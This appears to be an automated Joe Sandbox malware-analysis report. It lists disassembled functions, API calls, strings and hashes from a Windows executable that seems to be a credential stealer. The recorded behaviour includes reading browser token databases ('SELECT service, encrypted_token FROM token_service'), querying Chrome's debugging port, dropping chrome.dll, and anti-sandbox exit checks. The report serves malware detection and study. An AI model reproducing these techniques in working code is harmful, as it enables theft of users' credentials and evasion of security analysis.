Part of subcall function 00415510: StrStrA.SHLWAPI(00000000,00000000), ref: 004155B4
Part of subcall function 00415510: lstrlenA.KERNEL32(00000000), ref: 004155D3
Part of subcall function 00415510: strtok.MSVCRT(00000000,?), ref: 004155EE
Part of subcall function 00415510: lstrlenA.KERNEL32(00000000), ref: 004155FE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 004159DB
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415B90
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415C5C
Sleep.KERNEL32(0000EA60), ref: 00415C6B

Strings

ERROR, xrefs: 00415C4E
ERROR, xrefs: 00415886
ERROR, xrefs: 004159CD
ERROR, xrefs: 004158E3
ERROR, xrefs: 00415B82
ERROR, xrefs: 00415A99

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleepstrtok
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3630751533-2791005934
Opcode ID: 93186e085ff129a73f9e0ab74c49d77d7277fa139757a84e451318394f26fa84
Instruction ID: 55671caa9f17e02bf2b096751d64d2e50591885947f125be0164830bf8637258
Opcode Fuzzy Hash: 93186e085ff129a73f9e0ab74c49d77d7277fa139757a84e451318394f26fa84
Instruction Fuzzy Hash: 30E1A331A111049BCB14FBA1EDA6EED733EAF54304F40856EF50666091EF386B98CB5A

Function 00409A50 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 107networkCOMMON

Download Yara Rule

APIs

InternetOpenA.WININET(00420AF6,00000001,00000000,00000000,00000000), ref: 00409A6A
InternetOpenUrlA.WININET(00000000,http://localhost:9229/json,00000000,00000000,80000000,00000000), ref: 00409AAB
InternetCloseHandle.WININET(00000000), ref: 00409AC7

Strings

"webSocketDebuggerUrl":, xrefs: 00409B4B
http://localhost:9229/json, xrefs: 00409A9F
"ws://, xrefs: 00409B84

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: Internet$Open$CloseHandle
String ID: "webSocketDebuggerUrl":$"ws://$http://localhost:9229/json
API String ID: 3289985339-2144369209
Opcode ID: e7a8ffd5c0d3e64cb626e495c2dbe60dff4a81303b2319c131758cc57336936f
Instruction ID: 62dbe43bf40bcea2ec6919899f10ce169cdfcd29f6908f6eb26e58a13f6c9638
Opcode Fuzzy Hash: e7a8ffd5c0d3e64cb626e495c2dbe60dff4a81303b2319c131758cc57336936f
Instruction Fuzzy Hash: 27414B35A10258EBCB14EB90DC85FDD7774BB48340F1041AAF505B6191DBB8AEC0CF68

Function 00417690 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 004176D2
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041770F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417793
HeapAlloc.KERNEL32(00000000), ref: 0041779A
wsprintfA.USER32 ref: 004177D0

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Strings

\, xrefs: 004176F0
C, xrefs: 004176DC
:, xrefs: 004176EC

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: Heap$AllocDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 3790021787-3809124531
Opcode ID: 39db56893d369c74f5f4f3db1860a6a0fb8aa9103e681a18a70390936e9ddc23
Instruction ID: 56630df3f9a1121e358c86d43682af9e85f8bbcd47ea8763ba8f74f533c9f43c
Opcode Fuzzy Hash: 39db56893d369c74f5f4f3db1860a6a0fb8aa9103e681a18a70390936e9ddc23
Instruction Fuzzy Hash: 8541B6B1D05358DBDB10DF94CC45BDEBBB8AF48704F10009AF509A7280D7786B84CBA9

Function 00418290 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,02CC5528,00000000,?,00420E14,00000000,?,00000000), ref: 004182C0
HeapAlloc.KERNEL32(00000000,?,?,?,?,00000000,00000000,?,02CC5528,00000000,?,00420E14,00000000,?,00000000,00000000), ref: 004182C7
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 004182E8
__aulldiv.LIBCMT ref: 00418302
__aulldiv.LIBCMT ref: 00418310
wsprintfA.USER32 ref: 0041833C

Strings

%d MB, xrefs: 00418333
@, xrefs: 004182DD

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2886426298-3474575989
Opcode ID: d0391a1658ec30498705cc8c9cee2c4097af9c2ce960180bd43284ebda5957a4
Instruction ID: 389ef6515a1f2427be64b00d9458de7be2b91b0079cd17c5d853587b1d371e56
Opcode Fuzzy Hash: d0391a1658ec30498705cc8c9cee2c4097af9c2ce960180bd43284ebda5957a4
Instruction Fuzzy Hash: 8B214AF1E44218ABDB00DFD5DD49FAEBBB9FB44B04F10450AF615BB280D77969008BA9

Function 0040BA50 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Part of subcall function 0040A560: memcmp.MSVCRT(?,v20,00000003), ref: 0040A57D

lstrlenA.KERNEL32(00000000), ref: 0040BC6F

Part of subcall function 00418FC0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418FE2

StrStrA.SHLWAPI(00000000,AccountId), ref: 0040BC9D
lstrlenA.KERNEL32(00000000), ref: 0040BD75
lstrlenA.KERNEL32(00000000), ref: 0040BD89

Strings

AccountId, xrefs: 0040BC94
AccountTokens, xrefs: 0040BA8A
AccountTokens, xrefs: 0040BB19
SELECT service, encrypted_token FROM token_service, xrefs: 0040BBBB

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocalmemcmp
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 1440504306-1079375795
Opcode ID: 528b0dcbd92ef5c599c0ef7646e72e3f5de9f0dc130e5900d8b083ce33af8bf2
Instruction ID: 6476b4a2e47316619015001d7be3bff7ad81932ea7eb7605c7a9cb508b765a87
Opcode Fuzzy Hash: 528b0dcbd92ef5c599c0ef7646e72e3f5de9f0dc130e5900d8b083ce33af8bf2
Instruction Fuzzy Hash: E9B17371A111089BCB04FBA1DCA6EEE7339AF14314F40456FF50673195EF386A98CB6A

Function 004108A0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 00419850: CreateFileA.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000,?,004108DC,C:\ProgramData\chrome.dll), ref: 00419871

Part of subcall function 0040A090: LoadLibraryA.KERNEL32(C:\ProgramData\chrome.dll,?,004108E4), ref: 0040A098

StrCmpCA.SHLWAPI(00000000,02CBED40), ref: 00410922
StrCmpCA.SHLWAPI(00000000,02CBED90), ref: 00410B79
StrCmpCA.SHLWAPI(00000000,02CBEE00), ref: 00410A0C

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

DeleteFileA.KERNEL32(C:\ProgramData\chrome.dll), ref: 00410C35

Strings

C:\ProgramData\chrome.dll, xrefs: 004108CD
C:\ProgramData\chrome.dll, xrefs: 00410C30

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$CreateDeleteLibraryLoad
String ID: C:\ProgramData\chrome.dll$C:\ProgramData\chrome.dll
API String ID: 585553867-663540502
Opcode ID: bc4131eb9470a0b30c78486560b6eeb5eaf7b01ec90574bc2a426dfa5c06d41b
Instruction ID: 798b8003b846a09b6b7b20e33334a9dbf0f3b1503011c00658a7b4d9c0c3a9bc
Opcode Fuzzy Hash: bc4131eb9470a0b30c78486560b6eeb5eaf7b01ec90574bc2a426dfa5c06d41b
Instruction Fuzzy Hash: DCA176717001089FCB18EF65D996FED7776AF94304F10812EE40A5F391EB349A49CB9A

Function 00416C90 Relevance: 10.6, APIs: 7, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00419BB0: GetProcAddress.KERNEL32(75900000,02C48D58), ref: 00419BF1
Part of subcall function 00419BB0: GetProcAddress.KERNEL32(75900000,02C48D70), ref: 00419C0A
Part of subcall function 00419BB0: GetProcAddress.KERNEL32(75900000,02C48DA0), ref: 00419C22
Part of subcall function 00419BB0: GetProcAddress.KERNEL32(75900000,02C48E18), ref: 00419C3A
Part of subcall function 00419BB0: GetProcAddress.KERNEL32(75900000,02C48D88), ref: 00419C53
Part of subcall function 00419BB0: GetProcAddress.KERNEL32(75900000,02CBECA0), ref: 00419C6B
Part of subcall function 00419BB0: GetProcAddress.KERNEL32(75900000,02C42BA0), ref: 00419C83
Part of subcall function 00419BB0: GetProcAddress.KERNEL32(75900000,02C42B20), ref: 00419C9C
Part of subcall function 00419BB0: GetProcAddress.KERNEL32(75900000,02C48DB8), ref: 00419CB4
Part of subcall function 00419BB0: GetProcAddress.KERNEL32(75900000,02C48DD0), ref: 00419CCC
Part of subcall function 00419BB0: GetProcAddress.KERNEL32(75900000,02CBF218), ref: 00419CE5
Part of subcall function 00419BB0: GetProcAddress.KERNEL32(75900000,02CBF230), ref: 00419CFD
Part of subcall function 00419BB0: GetProcAddress.KERNEL32(75900000,02C429A0), ref: 00419D15
Part of subcall function 00419BB0: GetProcAddress.KERNEL32(75900000,02CBF278), ref: 00419D2E

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 004011D0: ExitProcess.KERNEL32 ref: 00401211

Part of subcall function 00401160: GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,00416CB7,00420AF3), ref: 0040116A
Part of subcall function 00401160: ExitProcess.KERNEL32 ref: 0040117E

Part of subcall function 00401110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,00416CBC), ref: 0040112B
Part of subcall function 00401110: VirtualAllocExNuma.KERNEL32(00000000,?,?,00416CBC), ref: 00401132
Part of subcall function 00401110: ExitProcess.KERNEL32 ref: 00401143

Part of subcall function 00401220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0040123E
Part of subcall function 00401220: __aulldiv.LIBCMT ref: 00401258
Part of subcall function 00401220: __aulldiv.LIBCMT ref: 00401266
Part of subcall function 00401220: ExitProcess.KERNEL32 ref: 00401294

Part of subcall function 00416A10: GetUserDefaultLangID.KERNEL32(?,?,00416CC6,00420AF3), ref: 00416A14

GetUserDefaultLCID.KERNEL32 ref: 00416CC6

Part of subcall function 00401190: ExitProcess.KERNEL32 ref: 004011C6

Part of subcall function 004179E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417A10
Part of subcall function 004179E0: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417A17
Part of subcall function 004179E0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00417A2F

Part of subcall function 00417A70: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00416CCB), ref: 00417AA0
Part of subcall function 00417A70: HeapAlloc.KERNEL32(00000000,?,?,?,00416CCB), ref: 00417AA7
Part of subcall function 00417A70: GetComputerNameA.KERNEL32(?,00000104), ref: 00417ABF

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,02CBEB50,?,004210F4,?,00000000,?,004210F8,?,00000000,00420AF3), ref: 00416D6A
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00416D88
CloseHandle.KERNEL32(00000000), ref: 00416D99
Sleep.KERNEL32(00001770), ref: 00416DA4
CloseHandle.KERNEL32(?,00000000,?,02CBEB50,?,004210F4,?,00000000,?,004210F8,?,00000000,00420AF3), ref: 00416DBA
ExitProcess.KERNEL32 ref: 00416DC2

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$AllocUserlstrcpy$CloseDefaultEventHandleName__aulldiv$ComputerCreateCurrentGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 3511611419-0
Opcode ID: 32fb34536166014d7c58d27a16746fd28ebf0fa137deb214c181cbfce6898861
Instruction ID: 27cf1f4c78a26a12fad1801110170cb785a0876a7ac7b1f74ab5ff3c6832b849
Opcode Fuzzy Hash: 32fb34536166014d7c58d27a16746fd28ebf0fa137deb214c181cbfce6898861
Instruction Fuzzy Hash: CB315E30A05104ABCB04FBF1EC56BEE7379AF44314F50492FF11266196EF786A85C66E

Function 6C8E0EE0 Relevance: 10.6, APIs: 7, Instructions: 65networkCOMMON

Download Yara Rule

APIs

WSASocketW.WS2_32(00000002,6C8E2BD4,00000000,00000000,00000000,00000081), ref: 6C8E0F0C
WSAGetLastError.WS2_32(?,6C8E2BD4,?,8B04B87D,00000001,?,?,?,?,?,00000004,?,6C8ABF6E,?,00000004), ref: 6C8E0F24
WSASocketW.WS2_32(00000002,6C8E2BD4,00000000,00000000,00000000,00000001), ref: 6C8E0F42
SetHandleInformation.KERNEL32(00000000,00000001,00000000,?,6C8E2BD4,?,8B04B87D,00000001,?,?,?,?,?,00000004,?,6C8ABF6E), ref: 6C8E0F54
WSAGetLastError.WS2_32(?,6C8E2BD4,?,8B04B87D,00000001,?,?,?,?,?,00000004,?,6C8ABF6E,?,00000004), ref: 6C8E0F6B
GetLastError.KERNEL32(?,6C8E2BD4,?,8B04B87D,00000001,?,?,?,?,?,00000004,?,6C8ABF6E,?,00000004), ref: 6C8E0F7C
closesocket.WS2_32(00000000), ref: 6C8E0F8C

Memory Dump Source

Source File: 00000000.00000002.2771555815.000000006C8A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000000.00000002.2771520963.000000006C8A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771618992.000000006C901000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771671921.000000006C947000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771707980.000000006C949000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8a0000_5BQwrSLxIZ.jbxd

Similarity

API ID: ErrorLast$Socket$HandleInformationclosesocket
String ID:
API String ID: 3114377017-0
Opcode ID: 6edf41a484b29df4dd50bda537998b86106f0ee037f472461475c2f4579e78cf
Instruction ID: 948a1ba23c5ff9cf90d8d15fcccb0a76ad533bd1c2aa74e6d8a70b79e8f708db
Opcode Fuzzy Hash: 6edf41a484b29df4dd50bda537998b86106f0ee037f472461475c2f4579e78cf
Instruction Fuzzy Hash: 8C117F70348384ABEB304F248E48B167AF4EB4BB15F204D1DF5A5D66C1DBB498409B50

Function 0041856C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 004185B6
wsprintfA.USER32 ref: 004185E9
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0041860B
RegCloseKey.ADVAPI32(00000000), ref: 0041861C
RegCloseKey.ADVAPI32(00000000), ref: 00418629

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

RegQueryValueExA.KERNEL32(00000000,02CC54E0,00000000,000F003F,?,00000400), ref: 0041867C
lstrlenA.KERNEL32(?), ref: 00418691
RegQueryValueExA.KERNEL32(00000000,02CC53D8,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00420B3C), ref: 00418729
RegCloseKey.ADVAPI32(00000000), ref: 00418798
RegCloseKey.ADVAPI32(00000000), ref: 004187AA

Strings

%s\%s, xrefs: 004185DD

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: b35235786b948e0e6555158c1c0efb0b11028fcec8c55c6120cd3185db22f78a
Instruction ID: 130e8712b2d17d0f4a3aa70f9b32a38deb323cc32c4c6a80807e33934adfa5f1
Opcode Fuzzy Hash: b35235786b948e0e6555158c1c0efb0b11028fcec8c55c6120cd3185db22f78a
Instruction Fuzzy Hash: 0F211B71A112189BDB24DB54DC85FE9B3B9FB48704F1081D9E609A6180DF746AC5CF98

Function 00404800 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 60stringnetworkCOMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000800), ref: 0040483A
??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404851
??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404868
lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Strings

<, xrefs: 00404819

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
